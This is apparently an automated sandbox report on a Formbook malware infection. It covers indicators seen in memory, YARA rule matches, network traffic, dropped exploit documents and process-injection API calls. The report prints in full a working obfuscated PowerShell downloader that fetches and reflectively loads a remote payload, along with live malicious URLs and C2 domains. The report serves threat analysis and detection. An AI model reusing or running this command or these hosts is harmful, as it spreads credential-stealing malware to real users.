Source: explorer.exe, 00000017.00000000.488448630.0000000003E98000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000017.00000000.489481018.0000000007123000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000017.00000000.488448630.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.638907259.0000000007123000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.638410089.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000017.00000000.487849649.000000000260E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.638907259.00000000070AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.637917540.000000000260E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000017.00000000.489481018.00000000070AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleaner
Source: explorer.exe, 00000017.00000002.638907259.00000000070AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000017.00000000.489481018.00000000070AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleane
Source: explorer.exe, 00000017.00000000.488448630.0000000003E98000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000017.00000000.489481018.0000000007123000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000017.00000000.488448630.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.638907259.0000000007123000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.638410089.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000017.00000000.487849649.000000000260E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.637917540.000000000260E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: explorer.exe, 00000017.00000000.487849649.000000000260E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.637917540.000000000260E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerxe
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.senior-dating-73474.bond
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.senior-dating-73474.bond/gwdv/
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.senior-dating-73474.bond/gwdv/www.lmodt.info
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.senior-dating-73474.bondReferer:
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.spanish-classes-13883.bond
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.spanish-classes-13883.bond/gwdv/
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.spanish-classes-13883.bond/gwdv/www.intelliflow.run
Source: explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.spanish-classes-13883.bondReferer:
Source: powershell.exe, 0000000F.00000002.486232559.00000000034B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000F.00000002.486232559.00000000034B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000F.00000002.486232559.00000000034B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: m2g.me.url.4.dr	String found in binary or memory: https://m2g.me/
Source: PO.78NO9.xls, a080.url.4.dr	String found in binary or memory: https://m2g.me/a080
Source: FC830000.0.dr, ~DF8B1FFFD9F6395A18.TMP.0.dr	String found in binary or memory: https://m2g.me/a080yX
Source: powershell.exe, 0000000F.00000002.486232559.00000000034B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 0000000F.00000002.481286410.00000000025CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com
Source: powershell.exe, 0000000F.00000002.481286410.00000000025CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt
Source: powershell.exe, 0000000F.00000002.481286410.00000000025CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txtfXh;
Source: powershell.exe, 0000000F.00000002.493641023.0000000005151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: explorer.exe, 00000017.00000000.486184316.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.637462841.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: explorer.exe, 00000017.00000000.486184316.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.637462841.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: explorer.exe, 00000017.00000000.486184316.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.637462841.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/52.0.1/releasenotes

Source: unknown	Network traffic detected: HTTP traffic on port 49161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown	Network traffic detected: HTTP traffic on port 49164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown	Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49165
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49164
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49163
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49173
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49161
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49172
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49171
Source: unknown	Network traffic detected: HTTP traffic on port 49172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49173 -> 443

Source: unknown	HTTPS traffic detected: 14.194.50.211:443 -> 192.168.2.22:49161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 14.194.50.211:443 -> 192.168.2.22:49163 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 14.194.50.211:443 -> 192.168.2.22:49168 version: TLS 1.2

Source: C:\Windows\SysWOW64\mstsc.exe

Code function: 27_2_0090AC37 LoadImageW,memset,GetObjectW,LoadImageW,memset,GetObjectW,LoadImageW,memset,GetObjectW,GetClientRect,GetWindowDC,CreateCompatibleBitmap,CreateCompatibleDC,CreateCompatibleDC,CreateCompatibleDC,SelectPalette,SelectPalette,RealizePalette,SelectObject,SelectObject,BitBlt,SelectObject,SelectObject,StretchBlt,SelectObject,SelectObject,BitBlt,SelectObject,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,DrawIconEx,SelectObject,SelectPalette,SelectPalette,DeleteDC,DeleteDC,DeleteDC,ReleaseDC,GetLastError,DeleteObject,DeleteObject,DeleteObject,DeleteObject,

27_2_0090AC37

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 0000001B.00000002.637430242.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.637544486.0000000000310000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.511155982.0000000000330000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.637518852.00000000002E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.487856362.0000000003289000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

System Summary

Source: 0000001B.00000002.637430242.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000001B.00000002.637430242.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000001B.00000002.637430242.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000001B.00000002.637544486.0000000000310000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000001B.00000002.637544486.0000000000310000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000001B.00000002.637544486.0000000000310000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000016.00000002.511155982.0000000000330000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000016.00000002.511155982.0000000000330000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000016.00000002.511155982.0000000000330000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000001B.00000002.637518852.00000000002E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000001B.00000002.637518852.00000000002E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000001B.00000002.637518852.00000000002E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000017.00000002.638758536.0000000006123000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_772cc62d Author: unknown
Source: 00000011.00000002.487856362.0000000003289000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000011.00000002.487856362.0000000003289000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000011.00000002.487856362.0000000003289000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: Process Memory Space: powershell.exe PID: 2660, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 1368, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: aspnet_regbrowsers.exe PID: 2452, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: aspnet_regbrowsers.exe PID: 3760, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: mstsc.exe PID: 4060, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6035E009.doc, type: DROPPED	Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\sweetnessisbthebesttoolevermadefromthehumanmouthwhichfoundverylongtimebeforesweetnessgivinghappinessandentirethingsforhumanwhohave_______nicebeautifulwords[1].doc, type: DROPPED	Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen

Excel sheet contains many unusual embedded objects

Source: PO.78NO9.xls	OLE: Microsoft Excel 2007+
Source: PO.78NO9.xls	OLE: Microsoft Excel 2007+
Source: FC830000.0.dr	OLE: Microsoft Excel 2007+
Source: FC830000.0.dr	OLE: Microsoft Excel 2007+

Microsoft Office drops suspicious files

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\a080.url			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\m2g.me.url			Jump to behavior

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\ProgID

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SU5WT0tFLWVYcFJFU1NJT04oICgnYycrJ0YxdXJsID0gJysnZlgnKydoaHR0cHM6Ly9yYScrJ3cnKycuZ2l0aHViJysndXNlcmNvbnRlJysnbnQuY28nKydtL05vJysnRGV0ZScrJ2MnKyd0T24vTm8nKydEZXRlY3RPbicrJy9yZWZzL2hlYWRzL21haW4nKycvRGV0YWhOJysnb3RoLVYuJysndHh0ZicrJ1gnKydoJysnOyBjRicrJzEnKydiYXMnKydlJysnNjRDb250JysnZW50JysnID0nKycgJysnKE5ldy0nKydPYmplY3QgJysnU3lzdCcrJ2UnKydtLicrJ04nKydldC5XZWJDJysnbGknKydlbicrJ3QpJysnLkRvd25sb2FkU3RyaW4nKydnKGNGMXVybCk7JysnIGNGJysnMWJpJysnbicrJ2EnKydyeUMnKydvbnRlbnQgPSBbU3knKydzdGVtLkMnKydvbicrJ3YnKydlJysncnQnKyddJysnOjpGcm8nKydtQmFzZTY0U3RyJysnaW5nKGNGMWJhc2U2NENvJysnbnRlJysnbnQpOyBjRjEnKydhJysnc3NlbWJseSA9IFtSJysnZWZsZWN0aScrJ29uLkFzcycrJ2VtYmx5JysnXTonKyc6TG9hZChjRicrJzFiaW5hcnknKydDb250ZW50KTsgJysnWycrJ2RubGliLklPLkhvbWVdOjpWQUkocE5BdCcrJ3gnKyd0LlJFUkMnKydDUi8zMzMvODIuMTQuJysnMDQyLjgzLy86cHR0aHBOQSwgcE4nKydBZGVzYScrJ3RpdmFkb3BOQSwgcE5BZGVzYXRpJysndmFkb3AnKydOQSwnKycgcE5BZCcrJ2VzYXRpdmFkb3BOQSwgcE5BYScrJ3NwbmV0X3InKydlZ2Jyb3dzZXJzcE5BLCBwTkFwJysnTkEnKycscE5BcCcrJ05BKScpLnJlUGxhQ2UoJ2ZYaCcsW1NUcmluR11bQ2hhcl0zOSkucmVQbGFDZSgoW0NoYXJdOTkrW0NoYXJdNzArW0NoYXJdNDkpLFtTVHJpbkddW0NoYXJdMzYpLnJlUGxhQ2UoKFtDaGFyXTExMitbQ2hhcl03OCtbQ2hhcl02NSksW1NUcmluR11bQ2hhcl0zNCkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SU5WT0tFLWVYcFJFU1NJT04oICgnYycrJ0YxdXJsID0gJysnZlgnKydoaHR0cHM6Ly9yYScrJ3cnKycuZ2l0aHViJysndXNlcmNvbnRlJysnbnQuY28nKydtL05vJysnRGV0ZScrJ2MnKyd0T24vTm8nKydEZXRlY3RPbicrJy9yZWZzL2hlYWRzL21haW4nKycvRGV0YWhOJysnb3RoLVYuJysndHh0ZicrJ1gnKydoJysnOyBjRicrJzEnKydiYXMnKydlJysnNjRDb250JysnZW50JysnID0nKycgJysnKE5ldy0nKydPYmplY3QgJysnU3lzdCcrJ2UnKydtLicrJ04nKydldC5XZWJDJysnbGknKydlbicrJ3QpJysnLkRvd25sb2FkU3RyaW4nKydnKGNGMXVybCk7JysnIGNGJysnMWJpJysnbicrJ2EnKydyeUMnKydvbnRlbnQgPSBbU3knKydzdGVtLkMnKydvbicrJ3YnKydlJysncnQnKyddJysnOjpGcm8nKydtQmFzZTY0U3RyJysnaW5nKGNGMWJhc2U2NENvJysnbnRlJysnbnQpOyBjRjEnKydhJysnc3NlbWJseSA9IFtSJysnZWZsZWN0aScrJ29uLkFzcycrJ2VtYmx5JysnXTonKyc6TG9hZChjRicrJzFiaW5hcnknKydDb250ZW50KTsgJysnWycrJ2RubGliLklPLkhvbWVdOjpWQUkocE5BdCcrJ3gnKyd0LlJFUkMnKydDUi8zMzMvODIuMTQuJysnMDQyLjgzLy86cHR0aHBOQSwgcE4nKydBZGVzYScrJ3RpdmFkb3BOQSwgcE5BZGVzYXRpJysndmFkb3AnKydOQSwnKycgcE5BZCcrJ2VzYXRpdmFkb3BOQSwgcE5BYScrJ3NwbmV0X3InKydlZ2Jyb3dzZXJzcE5BLCBwTkFwJysnTkEnKycscE5BcCcrJ05BKScpLnJlUGxhQ2UoJ2ZYaCcsW1NUcmluR11bQ2hhcl0zOSkucmVQbGFDZSgoW0NoYXJdOTkrW0NoYXJdNzArW0NoYXJdNDkpLFtTVHJpbkddW0NoYXJdMzYpLnJlUGxhQ2UoKFtDaGFyXTExMitbQ2hhcl03OCtbQ2hhcl02NSksW1NUcmluR11bQ2hhcl0zNCkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD			Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Memory allocated: 770B0000 page execute and read and write
Source: C:\Users\user\AppData\Roaming\niLILOT.exe	Memory allocated: 770B0000 page execute and read and write
Source: C:\Windows\SysWOW64\mstsc.exe	Memory allocated: 770B0000 page execute and read and write

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009F00C4 NtCreateFile,LdrInitializeThunk,	22_2_009F00C4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009F0048 NtProtectVirtualMemory,LdrInitializeThunk,	22_2_009F0048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009F0078 NtResumeThread,LdrInitializeThunk,	22_2_009F0078
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009EF9F0 NtClose,LdrInitializeThunk,	22_2_009EF9F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009EF900 NtReadFile,LdrInitializeThunk,	22_2_009EF900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009EFAD0 NtAllocateVirtualMemory,LdrInitializeThunk,	22_2_009EFAD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009EFAE8 NtQueryInformationProcess,LdrInitializeThunk,	22_2_009EFAE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009EFBB8 NtQueryInformationToken,LdrInitializeThunk,	22_2_009EFBB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009EFB68 NtFreeVirtualMemory,LdrInitializeThunk,	22_2_009EFB68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009EFC90 NtUnmapViewOfSection,LdrInitializeThunk,	22_2_009EFC90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009EFC60 NtMapViewOfSection,LdrInitializeThunk,	22_2_009EFC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009EFD8C NtDelayExecution,LdrInitializeThunk,	22_2_009EFD8C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009EFDC0 NtQuerySystemInformation,LdrInitializeThunk,	22_2_009EFDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009EFEA0 NtReadVirtualMemory,LdrInitializeThunk,	22_2_009EFEA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009EFED0 NtAdjustPrivilegesToken,LdrInitializeThunk,	22_2_009EFED0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009EFFB4 NtCreateSection,LdrInitializeThunk,	22_2_009EFFB4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009F0060 NtQuerySection,	22_2_009F0060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009F01D4 NtSetValueKey,	22_2_009F01D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009F010C NtOpenDirectoryObject,	22_2_009F010C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009F07AC NtCreateMutant,	22_2_009F07AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009F0C40 NtGetContextThread,	22_2_009F0C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009F10D0 NtOpenProcessToken,	22_2_009F10D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009F1148 NtOpenThread,	22_2_009F1148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009EF8CC NtWaitForSingleObject,	22_2_009EF8CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009EF938 NtWriteFile,	22_2_009EF938
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009F1930 NtSetContextThread,	22_2_009F1930
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009EFAB8 NtQueryValueKey,	22_2_009EFAB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009EFA20 NtQueryInformationFile,	22_2_009EFA20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009EFA50 NtEnumerateValueKey,	22_2_009EFA50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009EFBE8 NtQueryVirtualMemory,	22_2_009EFBE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009EFB50 NtCreateKey,	22_2_009EFB50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009EFC30 NtOpenProcess,	22_2_009EFC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009EFC48 NtSetInformationFile,	22_2_009EFC48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009F1D80 NtSuspendThread,	22_2_009F1D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009EFD5C NtEnumerateKey,	22_2_009EFD5C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009EFE24 NtWriteVirtualMemory,	22_2_009EFE24
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009EFFFC NtCreateProcessEx,	22_2_009EFFFC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009EFF34 NtQueueApcThread,	22_2_009EFF34
Source: C:\Windows\explorer.exe	Code function: 23_2_0610CE12 NtProtectVirtualMemory,	23_2_0610CE12
Source: C:\Windows\explorer.exe	Code function: 23_2_0610B232 NtCreateFile,	23_2_0610B232
Source: C:\Windows\explorer.exe	Code function: 23_2_0610CE0A NtProtectVirtualMemory,	23_2_0610CE0A
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021E00C4 NtCreateFile,LdrInitializeThunk,	27_2_021E00C4
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021E07AC NtCreateMutant,LdrInitializeThunk,	27_2_021E07AC
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021DFAB8 NtQueryValueKey,LdrInitializeThunk,	27_2_021DFAB8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021DFAD0 NtAllocateVirtualMemory,LdrInitializeThunk,	27_2_021DFAD0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021DFAE8 NtQueryInformationProcess,LdrInitializeThunk,	27_2_021DFAE8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021DFB50 NtCreateKey,LdrInitializeThunk,	27_2_021DFB50
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021DFB68 NtFreeVirtualMemory,LdrInitializeThunk,	27_2_021DFB68
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021DFBB8 NtQueryInformationToken,LdrInitializeThunk,	27_2_021DFBB8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021DF900 NtReadFile,LdrInitializeThunk,	27_2_021DF900
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021DF9F0 NtClose,LdrInitializeThunk,	27_2_021DF9F0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021DFED0 NtAdjustPrivilegesToken,LdrInitializeThunk,	27_2_021DFED0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021DFFB4 NtCreateSection,LdrInitializeThunk,	27_2_021DFFB4
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021DFC60 NtMapViewOfSection,LdrInitializeThunk,	27_2_021DFC60
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021DFD8C NtDelayExecution,LdrInitializeThunk,	27_2_021DFD8C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021DFDC0 NtQuerySystemInformation,LdrInitializeThunk,	27_2_021DFDC0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021E0048 NtProtectVirtualMemory,	27_2_021E0048
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021E0078 NtResumeThread,	27_2_021E0078
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021E0060 NtQuerySection,	27_2_021E0060
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021E10D0 NtOpenProcessToken,	27_2_021E10D0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021E010C NtOpenDirectoryObject,	27_2_021E010C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021E1148 NtOpenThread,	27_2_021E1148
